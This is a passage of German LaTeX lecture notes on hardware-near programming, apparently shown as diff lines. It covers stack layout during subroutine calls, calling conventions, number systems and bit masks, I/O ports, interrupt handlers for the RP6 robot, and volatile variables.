\put(2.25,-0.25){\makebox(0,0)[t]{Stack nach \texttt{pushw \$17}}} - \end{picture}% - \begin{picture}(5.1,6)(0,-0.8) - \put(0,0){\makebox(0,0)[bl]{\begin{tabular}{r|c|} - & \dots \\\cline{2-2} - \texttt{4001} & \\\cline{2-2} - \texttt{4000} & \\\cline{2-2} - \texttt{3fff} & \\ - \texttt{3ffe} & \texttt{17} \\\cline{2-2} - \texttt{3ffd} & \\ - \texttt{3ffc} & \texttt{33} \\\cline{2-2} - \texttt{3ffb} & \\\cline{2-2} - \texttt{3ffa} & \\\cline{2-2} - \texttt{3ff9} & \\\cline{2-2} - \texttt{3ff8} & \\\cline{2-2} - & \dots - \end{tabular}}} - \put(3.7,0){\makebox(0,0)[b]{\begin{tabular}[b]{|c|}\hline - \texttt{SP\,=\,3ffc}\\\hline - \multicolumn{1}{c}{}\\ - \end{tabular}}} - \put(3.7,0.87){\line(0,1){1.42}} - \put(3.7,2.28){\vector(-1,0){1.54}} - \put(2.25,-0.25){\makebox(0,0)[t]{Stack nach \texttt{pushw \$33}}} - \end{picture} - \end{center} - - Wenn danach der Befehl \verb|pushw $33| ausgef�hrt wird, - wird der Wert \verb|33| an die Speicheradresse \verb|3ffe| geschrieben - und \verb|SP| um 2 auf \verb|3ffc| dekrementiert. - - Wenn anschlie�end der \verb|popw|-Befehl ausgef�hrt wird, - wird \verb|SP| um 2 auf \verb|3ffe| inkrementiert, - und der Stack sieht wieder genauso aus wie nach dem Befehl \verb|pushw $17|. - - \goodbreak - - \subsection{Unterprogramme} - - Um einem Unterprogramm Parameter zu �bergeben, - m�ssen diese an einer definierten Stelle gespeichert werden. - M�gliche Speicherorte sind: - \begin{itemize} - \item - Prozessorregister - \item - Stack - \end{itemize} - - Die Parameter�bergabe funktioniert nur, - wenn sich Haupt- und Unterprogramm �ber deren Art und Weise einig sind. - Daher existieren mehrere Aufrufkonventionen: - \begin{itemize} - \item - Das Hauptprogramm speichert die Parameter auf dem Stack.\\ - Das Unterprogramm liest sie.\\ - Das Hauptprogramm nimmt die Parameter wieder vom Stack.\\ - ("`C-Aufrufkonvention"') - \item - Das Hauptprogramm speichert die Parameter auf dem Stack.\\ - Das Unterprogramm liest sie und nimmt sie wieder vom Stack.\\ - ("`Pascal-Aufrufkonvention"') - \end{itemize} - - Bemerkung: Trotz der Bennennung nach Programmiersprachen - sind die Aufrufkonventionen nicht an die jeweiligen Programmiersprachen gebunden. - (Zum Beispiel verwendet GNU-Pascal standardm��ig die "`C"'-Aufrufkonvention.) - - Die "`stdcall"'-Aufrufkonvention unter Microsoft Windows - ist eine Variante der Pascal-Aufrufkonvention. - -% Aufgabe: -% Schreiben Sie ein Unterprogramm, das im %eax-Register eine Zahl als Parameter erwartet, -% und 1 << diese Zahl im %eax-Register zur�ckliefert. -% -% In C in etwa: -% -% int exercise (int eax) -% { -% return 1 << eax; -% } -% -% (Bemerkung: 1 << x ist dasselbe wie 2 hoch x. -% Dies ist also eine einfache Methode, um Zweierpotenzen zu berechnen.) -% -% (Hinweis: gcc -S foo.c -o foo.s -% gen�gt \emph{nicht}, um die Aufgabe zu l�sen. -% In dem compilierten C-Code werden Parameter �ber den -% CPU-Stack �bergeben und nicht �ber das %eax-Register. -% Dies l��t sich nat�rlich manuell korrigieren.) - - \bigskip - \goodbreak - - Beispiel: Ein f�r einen IA-32-Prozessor geschriebenes Programm - soll gem�� der C-Aufrufkonvention eine Funktion \verb|write_word()| aufrufen, - die als Parameter eine 16-Bit-Ganzzahl erwartet, z.\,B.\ den Wert 17. - Dies kann folgenderma�en geschehen: - \begin{verbatim} - pushw $17 - call write_word - popw %ax\end{verbatim} - Das \verb|popw| dient dazu, den Stack nach dem Aufruf - wieder in den urspr�nglichen Zustand zur�ckzuversetzen; - der in das \verb|%ax|-Register gelesene Wert wird verworfen. - (Stattdessen k�nnte man auch mit \verb|addw %sp, 2| den Stack-Pointer - "`von Hand"' inkrementieren.) - \begin{center} - \begin{picture}(5.1,6)(0,-0.8) - \put(0,0){\makebox(0,0)[bl]{\begin{tabular}{r|c|} - & \dots \\\cline{2-2} - \texttt{4001} & \\\cline{2-2} - \texttt{4000} & \\\cline{2-2} - \texttt{3fff} & \\\cline{2-2} - \texttt{3ffe} & \\\cline{2-2} - \texttt{3ffd} & \\\cline{2-2} - \texttt{3ffc} & \\\cline{2-2} - \texttt{3ffb} & \\\cline{2-2} - \texttt{3ffa} & \\\cline{2-2} - \texttt{3ff9} & \\\cline{2-2} - \texttt{3ff8} & \\\cline{2-2} - & \dots - \end{tabular}}} - \put(3.7,0){\makebox(0,0)[b]{\begin{tabular}[b]{|c|}\hline - \texttt{SP\,=\,4000}\\\hline - \multicolumn{1}{c}{}\\ - \end{tabular}}} - \put(3.7,0.87){\line(0,1){3.13}} % Schrittweite: 0.43 - \put(3.7,4.00){\vector(-1,0){1.54}} - \put(2.25,-0.25){\makebox(0,0)[t]{leerer Stack}} - \end{picture}% - \begin{picture}(5.1,6)(0,-0.8) - \put(0,0){\makebox(0,0)[bl]{\begin{tabular}{r|c|} - & \dots \\\cline{2-2} - \texttt{4001} & \\\cline{2-2} - \texttt{4000} & \\\cline{2-2} - \texttt{3fff} & \\ - \texttt{3ffe} & \texttt{17} \\\cline{2-2} - \texttt{3ffd} & \\\cline{2-2} - \texttt{3ffc} & \\\cline{2-2} - \texttt{3ffb} & \\\cline{2-2} - \texttt{3ffa} & \\\cline{2-2} - \texttt{3ff9} & \\\cline{2-2} - \texttt{3ff8} & \\\cline{2-2} - & \dots - \end{tabular}}} - \put(3.7,0){\makebox(0,0)[b]{\begin{tabular}[b]{|c|}\hline - \texttt{SP\,=\,3ffe}\\\hline - \multicolumn{1}{c}{}\\ - \end{tabular}}} - \put(3.7,0.87){\line(0,1){2.28}} - \put(3.7,3.14){\vector(-1,0){1.54}} - \put(2.25,-0.25){\makebox(0,0)[t]{Stack nach \texttt{pushw \$17}}} - \end{picture}% - \begin{picture}(5.1,6)(0,-0.8) - \put(0,0){\makebox(0,0)[bl]{\begin{tabular}{r|c|} - & \dots \\\cline{2-2} - \texttt{4001} & \\\cline{2-2} - \texttt{4000} & \\\cline{2-2} - \texttt{3fff} & \\ - \texttt{3ffe} & \texttt{17} \\\cline{2-2} - \texttt{3ffd} & \\ - \texttt{3ffc} & \\ - \texttt{3ffb} & \\ - \texttt{3ffa} & \kern13pt\begin{rotate}{90}% - \kern-3pt\shortstack{% - \footnotesize R�cksprung-\\[-3pt] - \footnotesize adresse}% - \end{rotate}\\\cline{2-2} - \texttt{3ff9} & \\\cline{2-2} - \texttt{3ff8} & \\\cline{2-2} - & \dots - \end{tabular}}} - \put(3.7,0){\makebox(0,0)[b]{\begin{tabular}[b]{|c|}\hline - \texttt{SP\,=\,3ffa}\\\hline - \multicolumn{1}{c}{}\\ - \end{tabular}}} - \put(3.7,0.87){\line(0,1){0.56}} - \put(3.7,1.42){\vector(-1,0){1.54}} - \put(2.25,-0.25){\makebox(0,0)[t]{Stack w�hrend \texttt{call write\_word}}} - \end{picture} - \end{center} - - Die R�cksprungadresse ist bei IA-32 vier Bytes gro�, - verbraucht also vier Bytes auf dem Stack. - - W�hrend das Unterprogramm l�uft, - kann es den �bergebenen Parameter (Wert: 17) - unter der Adresse "`Stack-Pointer + 4 Bytes"' ansprechen, in Assembler: \verb|4(%esp)| - - \subsection{Registerinhalte sichern} - - Wenn das Hauptprogramm ein Unterprogramm aufruft, - k�nnen sich dadurch die Inhalte der Register �ndern, - n�mlich dann, wenn das Unterprogramm diese Register benutzt. - - Damit dies nicht zu falschen Rechenergebnissen f�hrt, - mu� entweder das Hauptprogramm diesen Umstand ber�cksichtigen, - oder das Unterprogramm mu� Register vor der Verwendung sichern und hinterher wiederherstellen -- - �blicherweise im CPU-Stack. - - Dies ist insbesondere dann wichtig, wenn das Unterprogramm nicht �ber einen ausdr�cklichen Befehl - (\verb|call|), sondern auf andere Weise aufgerufen wird. % -- siehe Abschnitt~\ref{Interrupts}. - - \clearpage - - \section{Hardwarenahe Programmierung} - - \subsection{Bit-Operationen} - - \setlength{\unitlength}{12pt} - - \subsubsection{Zahlensysteme} - - \subsubsection*{Dezimalsystem} - \begin{itemize} - \item - Basis: 10 - \item - G�ltige Ziffern: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 - \end{itemize} - \begin{verbatim} - 137 137 - + 42 - ---- - 179 - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \color{red} - \put(5.0,4.25){\vector(-1,1){1.41}} - \put(5.5,4){\mbox{Einer: $7 \cdot 10^0$}} - \put(5.5,3.25){\vector(-1,1){2.41}} - \put(6.0,3){\mbox{Zehner: $3 \cdot 10^1$}} - \put(6.0,2.25){\vector(-1,1){3.41}} - \put(6.5,2){\mbox{Hunderter: $1 \cdot 10^2$}} - \put(2.5,0.5){\mbox{$137_{10} = 1 \cdot 10^2 + 3 \cdot 10^1 + 7 \cdot 10^0 - = 100 + 30 + 7 = 137$}} - \end{picture} - - \goodbreak - \subsubsection*{Hexadezimalsystem} - \begin{itemize} - \item - Basis: 16 - \item - G�ltige Ziffern: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F - \end{itemize} - \begin{verbatim} - 137 A380 - + B747 - ----- - 15AC7 - \end{verbatim} - \begin{picture}(0,0)(-0,-0.25) - \put(18.6,4.2){\mbox{\scriptsize\texttt{1}}} - \color{red} - \put(5.0,4.25){\vector(-1,1){1.41}} - \put(5.5,4){\mbox{$7 \cdot 16^0$}} - \put(5.5,3.25){\vector(-1,1){2.41}} - \put(6.0,3){\mbox{$3 \cdot 16^1$}} - \put(6.0,2.25){\vector(-1,1){3.41}} - \put(6.5,2){\mbox{$1 \cdot 16^2$}} - \put(2.5,0.5){\mbox{$137_{16} = 1 \cdot 16^2 + 3 \cdot 16^1 + 7 \cdot 16^0 - = 256 + 48 + 7 = 311$}} - \end{picture} - \begin{itemize} - \item - Schreibweise in C: \quad \texttt{0x137} - \end{itemize} - - \goodbreak - \subsubsection*{Oktalsystem} - \begin{itemize} - \item - Basis: 8 - \item - G�ltige Ziffern: 0, 1, 2, 3, 4, 5, 6, 7 - \end{itemize} - \begin{verbatim} - 137 137 - + 42 - ---- - 201 - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \put(19.6,3.7){\mbox{\scriptsize\texttt{1}}} - \put(19.1,3.7){\mbox{\scriptsize\texttt{1}}} - \color{red} - \put(5.0,4.25){\vector(-1,1){1.41}} - \put(5.5,4){\mbox{$7 \cdot 8^0$}} - \put(5.5,3.25){\vector(-1,1){2.41}} - \put(6.0,3){\mbox{$3 \cdot 8^1$}} - \put(6.0,2.25){\vector(-1,1){3.41}} - \put(6.5,2){\mbox{$1 \cdot 8^2$}} - \put(2.5,0.5){\mbox{$137_8 = 1 \cdot 8^2 + 3 \cdot 8^1 + 7 \cdot 8^0 - = 64 + 24 + 7 = 95$}} - \put(2.5,-0.6){\mbox{$42_8 = 4 \cdot 8^1 + 2 \cdot 8^0 - = 32 + 2 = 34$}} - \put(2.5,-1.7){\mbox{$201_8 = 2 \cdot 8^2 + 0 \cdot 8^1 + 1 \cdot 8^0 - = 128 + 1 = 129$}} - \end{picture} - \vspace{0.75cm} - \begin{itemize} - \item - Schreibweise in C: \quad \texttt{0137} - \end{itemize} - - \subsubsection*{Rechner f�r beliebige Zahlensysteme: GNU bc} - \begin{lstlisting}[style=terminal] - $ �bc - ibase=8 - 137� - 95 - �obase=10 - 137 + 42� - 201 - \end{lstlisting} - \begin{picture}(0,0)(0.5,1.2) - \color{red} - \put(8.0,7.25){\vector(-1,0){3}} - \put(8.5,7){\mbox{Eingabe zur Basis 8}} - \put(8.0,6.25){\vector(-1,0){4}} - \put(8.5,6){\mbox{Ausgabe zur Basis 10}} - \put(9.0,5.25){\vector(-1,0){2}} - \put(9.5,5){\mbox{Eingabe zur Basis 8 ($10_8 = 8$)}} - \put(8.0,3.25){\vector(-1,0){4}} - \put(8.5,3){\mbox{Ausgabe zur Basis 8}} - \end{picture}\vspace{-2ex} - - \goodbreak - \subsubsection*{Bin�rsystem} - \begin{itemize} - \item - Basis: 2 - \item - G�ltige Ziffern: 0, 1 - \end{itemize} - \begin{verbatim} - 110 110 - + 1100 - ----- - 10010 - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \put(19.1,3.8){\mbox{\scriptsize\texttt{1}}} - \put(18.6,3.8){\mbox{\scriptsize\texttt{1}}} - \color{red} - \put(5.0,4.25){\vector(-1,1){1.41}} - \put(5.5,4){\mbox{$0 \cdot 2^0$}} - \put(5.5,3.25){\vector(-1,1){2.41}} - \put(6.0,3){\mbox{$1 \cdot 2^1$}} - \put(6.0,2.25){\vector(-1,1){3.41}} - \put(6.5,2){\mbox{$1 \cdot 2^2$}} - \put(2.5,0.5){\mbox{$110_2 = 1 \cdot 2^2 + 1 \cdot 2^1 + 0 \cdot 2^0 - = 4 + 2 + 0 = 6$}} - \end{picture} - \begin{itemize} - \item - Bin�r-Zahlen erm�glichen es, elektronisch zu rechnen \dots - \item - und mehrere "`Ja/Nein"' (Bits) zu einer einzigen Zahl zusammenzufassen. - \item - \textbf{Oktal- und Hexadezimal-Zahlen lassen sich ziffernweise - in Bin�r-Zahlen umrechnen:} - \end{itemize} - \vspace*{-6mm} - \begin{verbatim} - 000 0 0000 0 1000 8 - 001 1 0001 1 1001 9 - 010 2 0010 2 1010 A - 011 3 0011 3 1011 B - 100 4 0100 4 1100 C - 101 5 0101 5 1101 D - 110 6 0110 6 1110 E - 111 7 0111 7 1111 F - \end{verbatim} - \vspace*{-1cm} - \begin{itemize} - \item[] - Beispiel: $1101011_2 = 153_8 = 6{\rm B}_{16}$ - \item[] - Anwendungsbeispiel: Oktal-Schreibweise f�r Unix-Zugriffsrechte\\ - \verb|-rw-r-----| $= 0\,110\,100\,000_2 = 640_8$ \qquad \verb|$ chmod 640 file.c|\\ - \verb|-rwxr-x---| $= 0\,111\,101\,000_2 = 750_8$ \qquad \verb|$ chmod 750 subdir| - \end{itemize} - - \goodbreak - \subsubsection*{IP-Adressen (IPv4)} - \begin{itemize} - \item - Basis: 256 - \item - G�ltige Ziffern: 0 bis 255, getrennt durch Punkte - \item - Kompakte Schreibweise f�r Bin�rzahlen mit 32 Ziffern (Bits) - \end{itemize} - \begin{verbatim} - 192.168.0.1 - - - - - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \color{red} - \put(8.75,5.25){\vector(-1,1){1.41}} - \put(9.25,5){\mbox{$1 \cdot 256^0$}} - \put(8.75,4.25){\vector(-1,1){2.41}} - \put(9.25,4){\mbox{$0 \cdot 256^1$}} - \put(8.25,3.25){\vector(-1,1){3.41}} - \put(8.75,3){\mbox{$168 \cdot 256^2$}} - \put(7.5,2.25){\vector(-1,1){4.41}} - \put(8.0,2){\mbox{$192 \cdot 256^3$}} - \put(2.5,0.5){\mbox{$192.168.0.1_{256} = 11000000\,10101000\,00000000\,00000001_2$}} - \end{picture} - \vspace*{-0.5cm} - - \goodbreak - \subsubsection{Bit-Operationen in C} - \begin{verbatim} - 0110 0110 0110 0110 0110 - + 1100 | 1100 & 1100 ^ 1100 ~ 1100 >> 2 - ----- ----- ----- ----- ----- ----- - 10010 1110 0100 1010 0011 0001 - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \color{red} - \put(2.5,1.0){\mbox{Addition}} - \put(8.5,1.0){\mbox{Oder}} - \put(14.0,1.0){\mbox{Und}} - \put(18.0,1.0){\mbox{Exklusiv-Oder}} - \put(24.5,1.0){\mbox{Negation}} - \put(29.0,1.0){\mbox{Bit-Verschiebung}} - \end{picture} - - \begin{verbatim} - 01101100 01101100 01101100 - | 00000010 & 11110111 ^ 00010000 - --------- --------- --------- - 01101110 01100100 01111100 - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \color{red} - \put(2.5,1.0){\mbox{Bit gezielt setzen}} - \put(12.5,1.0){\mbox{Bit gezielt l�schen}} - \put(22.5,1.0){\mbox{Bit gezielt umklappen}} - \end{picture} - \begin{itemize} - \item - Bits werden h�ufig von rechts und ab 0 numeriert (hier: 0 bis 7),\\ - um die Maskenerzeugung mittels Schiebeoperatoren zu erleichtern. - \item - Die Bit-Operatoren (z.\,B.\ \verb|&| in C) - wirken jeweils auf alle Bits der Zahlen. - \hfill{\color{red}\verb|6 & 12 == 4|}\qquad\strut\\ - Die logischen Operatoren (z.\,B.\ \verb|&&| in C) - pr�fen die Zahl insgesamt auf $\ne 0$. - \hfill{\color{red}\verb|6 && 12 == 1|}\qquad\strut\\ - Nicht verwechseln! - \end{itemize} - - \bigbreak - - Anwendung: Bit 2 (also das dritte Bit von rechts) in einer 8-Bit-Zahl auf 1 setzen: - \begin{verbatim} - 00000001 01101100 - << 2 | 00000100 - --------- --------- - 00000100 01101100 - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \color{red} - \put(3.5,1.0){\mbox{Maske f�r Bit 2}} - \put(12.5,1.0){\mbox{Bit gezielt setzen}} - \end{picture}\vspace{-4ex} - \begin{itemize} - \item - Schreibweise in C:\quad - \verb,a |= 1 << 2;, - \end{itemize} - - \bigbreak - - Anwendung: Bit 2 in einer 8-Bit-Zahl auf 0 setzen: - \begin{verbatim} - 00000001 01101100 - << 2 ~ 00000100 & 11111011 - --------- --------- --------- - 00000100 11111011 01101000 - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \color{red} - \put(3.5,1.0){\mbox{Maske zum L�schen von Bit 2 erzeugen}} - \put(22.5,1.0){\mbox{Bit gezielt l�schen}} - \end{picture}\vspace{-4ex} - \begin{itemize} - \item - Schreibweise in C:\quad - \verb,a &= ~(1 << 2);, - \end{itemize} - - \bigbreak - - Anwendung: Bit 2 aus einer 8-Bit-Zahl extrahieren: - \begin{verbatim} - 00000001 01101100 00000100 - << 2 & 00000100 >> 2 - --------- --------- --------- - 00000100 00000100 00000001 - \end{verbatim} - \begin{picture}(0,0)(0,-0.25) - \color{red} - \put(2.5,1.0){\mbox{Maske f�r Bit 2}} - \put(12.5,1.0){\mbox{Bit 2 isolieren}} - \put(22.5,1.0){\mbox{in Zahl 0 oder 1 umwandeln}} - \end{picture}\vspace{-4ex} - \begin{itemize} - \item - Schreibweise in C:\quad - \verb,x = (a & (1 << 2)) >> 2;, - \end{itemize} - - \bigbreak - - Beispiel: Netzmaske f�r 256 IP-Adressen - \begin{verbatim} - 192.168. 1.123 - & 255.255.255. 0 - ---------------- - 192.168. 1. 0 - \end{verbatim} - \begin{picture}(0,0)(0,0) - \color{red} - \put(14.0,6.25){\vector(-1,0){2}} - \put(14.5,6){\mbox{IP-Adresse eines Rechners}} - \put(14.0,5.25){\vector(-1,0){2}} - \put(14.5,5){\mbox{Netzmaske: $255 = 11111111_2$}} - \put(14.0,3.25){\vector(-1,0){2}} - \put(14.5,3){\mbox{IP-Adresse des Sub-Netzes}} - \end{picture}\vspace{-6ex} - - \bigbreak - - Beispiel: Netzmaske f�r 8 IP-Adressen - \begin{verbatim} - 192.168. 1.123 01111011 - & 255.255.255.248 & 11111000 - ---------------- --------- - 192.168. 1.120 01111000 - \end{verbatim} - \begin{picture}(0,0)(0,0) - \color{red} - \put(14.0,6.25){\vector(-1,0){2}} - \put(14.5,6){\mbox{IP-Adresse eines Rechners}} - \put(14.0,5.25){\vector(-1,0){2}} - \put(14.5,5){\mbox{Netzmaske}} - \put(14.0,3.25){\vector(-1,0){2}} - \put(14.5,3){\mbox{IP-Adresse des Sub-Netzes}} - \end{picture}\vspace{-6ex} - - \subsection{I/O-Ports} - - Es gibt drei grundlegende Mechanismen f�r die Kommunikation zwischen dem Prozessor - und einem externen Ger�t: - \begin{itemize} - \item - �ber Output-Ports kann der Prozessor das Ger�t aktiv steuern, - \item - �ber Input-Ports kann er es aktiv abfragen, - \item - und �ber Interrupts kann das externe Ger�t im Prozessor Aktivit�ten ausl�sen. - \end{itemize} - - \begin{center} - \begin{pdfpic} - \psset{unit=1cm}% - \begin{pspicture}(0,0)(10,6) - \rput(0,0){\psframe[framearc=0.25](2,5)} - \rput(1,4.5){\makebox(0,0)[t]{Prozessor}} - \rput(2.0,3.7){\pnode{p0}} - \rput(2.0,3.3){\pnode{q0}} - \rput(2.0,1.0){\pnode{i0}} - \rput(2.12,1.2){\pnode{j0}} - \rput(2.02,1.3){\pnode{k0}} - \rput(2.12,1.4){\pnode{l0}} - \rput(3.5,1.4){\pnode{m0}} - \rput(8,0){\psframe[framearc=0.25](2,5)} - \rput(9,4.5){\makebox(0,0)[t]{\shortstack{externes\\Ger�t}}} - \rput(8.0,3.7){\pnode{p1}} - \rput(7.88,3.3){\pnode{q1}} - \rput(7.98,3.2){\pnode{r1}} - \rput(7.88,3.1){\pnode{s1}} - \rput(6.5,3.1){\pnode{t1}} - \rput(8.0,1.0){\pnode{i1}} - \rput(8.0,1.2){\pnode{j1}} - \ncline{->}{p0}{p1} - \ncline{q0}{q1} - \nccurve[angleB=90]{q1}{r1} - \nccurve[angleA=-90]{r1}{s1} - \ncline{->}{s1}{t1} - \rput(2.2,3.8){\makebox(0,0)[lb]{Prozessor schreibt in Output-Port}} - \rput(2.2,3.1){\makebox(0,0)[lt]{Prozessor liest Input-Port}} - \ncline{->}{i1}{i0} - \rput(7.8,1.1){\makebox(0,0)[rb]{externes Ger�t ruft Interrupt auf}} - \end{pspicture} - \end{pdfpic} - \end{center} - - \setlength{\unitlength}{1cm} - - Input- und Output-Ports, zusammengefa�t: I/O-Ports, - sind spezielle Speicherzellen, die mit einem externen Ger�t verbunden sind (siehe Seite~\pageref{I/O-Ports}). - \begin{itemize} - \item - Ein in einen Output-Port geschriebener Wert bewirkt eine Spannungs�nderung in einer Leitung, - die zu einem externen Ger�t f�hrt. - \item - Wenn ein externes Ger�t eine Spannung an eine Leitung anlegt, die zu einer Speicherzelle f�hrt, - kann der Prozessor diese als Input-Port lesen. - \end{itemize} - - Um z.\,B.\ auf einen Druck auf einen Taster zu warten, - kann ein Program periodisch in einer Schleife einen Input-Port lesen - und die Schleife erst dann beenden, wenn der Wert f�r "`Taster gedr�ckt"' gelesen wurde. - - Diese Methode hei�t "`Busy Waiting"': Der Prozessor ist vollst�ndig mit Warten besch�ftigt. - Wenn gleichzeitig noch andere Aktionen stattfinden sollen, - m�ssen diese in der Schleife mit ber�cksichtigt werden. - - \bigskip - \goodbreak - - Beispiel f�r die Verwendung eines Output-Ports: Roboter-Steuerung\\ - Datei: RP6Base/RP6Base\_Examples/RP6Examples\_20080915/RP6Lib/RP6base/RP6RobotBaseLib.c\\ - Suchbegriff: setMotorDir - \goodbreak - \begin{verbatim} - void setMotorDir(uint8_t left_dir, uint8_t right_dir) - { - mleft_dir = left_dir; - mright_dir = right_dir; - mleft_des_dir = left_dir; - mright_des_dir = right_dir; - if(left_dir) - PORTC |= DIR_L; - else - PORTC &= ~DIR_L; - if(right_dir) - PORTC |= DIR_R; - else - PORTC &= ~DIR_R; - }\end{verbatim} - - Die Variable \verb|PORTC| ist ein Output-Port. - Durch Manipulation einzelner Bits in dieser Variablen - �ndert sich die Spannung an den elektrischen "`Beinchen"' des Mikro-Controllers. - Hierdurch wird die Beschaltung von Elektromotoren umgepolt. - - (Die Konstanten \verb|DIR_L| und \verb|DIR_R| sind "`Bitmasken"', - d.\,h.\ Zahlen, die in ihrer Bin�rdarstellung nur eine einzige $1$ und ansonsten Nullen haben. - Durch die Oder- und Und-Nicht-Operationen werden einzelne Bits in \verb|PORTC| auf $1$ bzw.\ $0$ gesetzt.) - - \bigskip - - Die direkte Ansteuerung von I/O-Ports ist nur auf Mikro-Controllern �blich. - Auf Personal-Computern erfolgt die gesamte Ein- und Ausgabe �ber Betriebssystem-"`Treiber"'. - Anwenderprogramme greifen dort i.\,d.\,R.\ nicht direkt auf I/O-Ports zu. - - \subsection{Interrupts} - - Ein Interrupt ist ein Unterprogramm, das nicht durch einen Befehl (\verb|call|), - sondern durch ein externes Ger�t (�ber ein Stromsignal) aufgerufen wird. - - Damit dies funktionieret, mu� die Adresse, an der sich das Unterprogramm befindet, - an einer jederzeit auffindbaren Stelle im Speicher hinterlegt sein. - Diese Stelle hei�t "`Interrupt-Vektor"'. - - Da ein Interrupt jederzeit erfolgen kann, - hat das Hauptprogramm keine Chance, vor dem Aufruf die Registerinhalte zu sichern. - F�r Interrupt-Unterprogramme, sog.\ Interrupt-Handler, - ist es daher zwingend notwendig, s�mtliche Register vor Verwendung zu sichern - und hinterher zur�ckzuholen. - - \bigskip - - Beispiel f�r die Verwendung eines Interrupts: Roboter-Steuerung\\ - Datei: RP6Base/RP6Base\_Examples/RP6Examples\_20080915/RP6Lib/RP6base/RP6RobotBaseLib.c\\ - Suchbegriff: ISR - \begin{verbatim} - ISR (INT0_vect) - { - mleft_dist++; - mleft_counter++; - /* ... */ - }\end{verbatim} - \begin{itemize} - \item - Durch das Schl�sselwort \verb|ISR| anstelle von z.\,B.\ \verb|void| - teilen wir dem Compiler mit, da� es sich um einen Interrupt-Handler handelt, - so da� er entsprechenden Code zum Sichern der Registerinhalte einf�gt. - \item - Durch die Namensgebung \verb|INT0_vect| teilen wir dem Compiler mit, - da� er den Interrupt-Vektor Nr.\ 0 (also den ersten) - auf diesen Interrupt-Handler zeigen lassen soll. - \end{itemize} - (Tats�chlich handelt es sich bei \verb|ISR| und \verb|INT0_vect| um Macros.) - - Die Schreibweise ist spezifisch f�r die Programmierung des Atmel AVR ATmega - unter Verwendung der GNU Compiler Collection (GCC). - Bei Verwendung anderer Werkzeuge und/oder Prozessoren - kann dasselbe Programm v�llig anders aussehen. - Wie man Interrupt-Handler schreibt und wie man Interrupt-Vektoren setzt, - ist ein wichtiger Bestandteil der Dokumentation der Entwicklungswerkzeuge. - - \bigskip - - Die so geschriebene Funktion wird immer dann aufgerufen, wenn die - Hardware den Interrupt Nr.\ 0 ausl�st. Wann das der Fall ist, h�ngt - von der Beschaltung ab. Im Falle des RP6 geschieht es dann, wenn - ein Sensor an der linken Raupenkette einen schwarzen Streifen auf - der Encoder-Scheibe registriert, also immer dann, wenn sich die - linke Raupenkette des Roboters um eine bestimmte Strecke gedreht - hat. - - Jedesmal wenn sich die Raupenkette um einen Teilstrich weitergedreht hat, - werden also zwei Z�hler inkrementiert. - Wir k�nnen dies nutzen, um z.\,B.\ durch Auslesen des Z�hlers \verb|mleft_dist| - die zur�ckgelegte Entfernung zu messen. - (Die RP6-Bibliothek selbst stellt nur eine Zeit- und eine Geschwindigkeitsmessung zur Verf�gung.) - Wie dies konkret geschehen kann, sei im folgenden vorgestellt. - - \goodbreak - - Methode 1: Ver�ndern des Interrupt-Handlers - \begin{itemize} - \item - Da die Bibliothek \verb|RP6RobotBase| im Quelltext vorhanden ist, - k�nnen wir sie selbst �ndern und in den Interrupt-Handler - \verb|ISR (INT0_vect)| einen eigenen Z�hler f�r Sensor-Ticks einbauen. - \item - Wenn wir diesen zum Zeitpunkt A auf 0 setzen und zum Zeitpunkt B - auslesen, erfahren wir, wieviele "`Ticks"' der Roboter dazwischen - zur�ckgelegt hat. - \end{itemize} - - Methode 2: Verwenden eines vorhandenen Z�hlers - \begin{itemize} - \item - Tats�chlich enth�lt \verb|ISR (INT0_vect)| bereits zwei Z�hler, die - bei jedem Sensor-"`Tick"' hochgez�hlt werden: \verb|mleft_dist| und - \verb|mleft_counter|. - \item - Einer davon (\verb|mleft_dist|) wird bei jedem \verb|move()| auf 0 - zur�ckgesetzt. F�r diesen Z�hler enth�lt \verb|RP6RobotBaseLib.h| - einen "`undokumentierten"' Makro \verb|getLeftDistance()|, um ihn - auszulesen. - \item - Bei sorgf�ltiger Lekt�re von \verb|RP6RobotBaseLib.c| erkennt man, da� - es unproblematisch ist, den Z�hler vom Hauptprogramm aus auf 0 zu - setzen. (Dies ist jedoch mit Vorsicht zu genie�en: In einer - eventuellen Nachfolgeversion der Bibliothek mu� dies nicht mehr - der Fall sein!) - \end{itemize} - - Methode 3: Abfrage der Sensoren mittels Busy Waiting - \begin{itemize} - \item - Alternativ zur Verwendung des Interrupt-Handlers kann man auch - von der eigenen Hauptschleife aus den Sensor periodisch abfragen - und bei jeder �nderung einen Z�hler hochz�hlen. - \item - Diese Methode hei�t "`Busy Waiting"'. Sie hat den Vorteil der - Einfachheit aber den Nachteil, da� der Prozessor "`in Vollzeit"' - damit besch�ftigt ist, einen Sensor abzufragen, und eventuelle - andere Aufgaben nur noch "`nebenher"' erledigen kann. - \item - Wenn aus irgendwelchen Gr�nden der Interrupt-Mechanismus nicht - verwendet werden kann (z.B. weil der Prozessor �ber kein - Interrupt-Konzept verf�gt), k�nnten wir die Lichtschranke alternativ auch mit einem Input-Port - verdrahten und mittels Busy Waiting abfragen. - - Dies funktioniert nur dann, wenn die Schleife wirklich regelm��ig den Sensor abfragt. - Sobald der Prozessor l�ngere Zeit mit anderen Dingen besch�ftigt ist, - k�nnen beim Busy Waiting Signale der Lichtschranke verlorengehen. - Dieses Problem besteht nicht bei Verwendung von Interrupts. - \end{itemize} - - \subsection{volatile-Variable} - - Im C-Quelltext f�llt auf, da� die Z�hler-Variablen \verb|mleft_dist| und \verb|mleft_counter| - als \verb|volatile|\break\verb|uint16_t mleft_counter| bzw.\ \verb|volatile uint16_t mleft_dist| deklariert - sind anstatt einfach nur als - \verb|uint16_t mleft_counter| und \verb|uint16_t mleft_dist|. - - Das Schl�sselwort \verb|volatile| teilt dem C-Compiler mit, - da� eine Variable immer im Speicher (RAM) aufbewahrt werden mu� - und nicht in einem Prozessorregister zwischengespeichert werden darf. - - Dies ist deswegen wichtig, weil jederzeit ein Interrupt erfolgen - kann, der den Wert der Variablen im Speicher ver�ndert. Wenn im - Hauptprogramm alle "`�berfl�ssigen"' 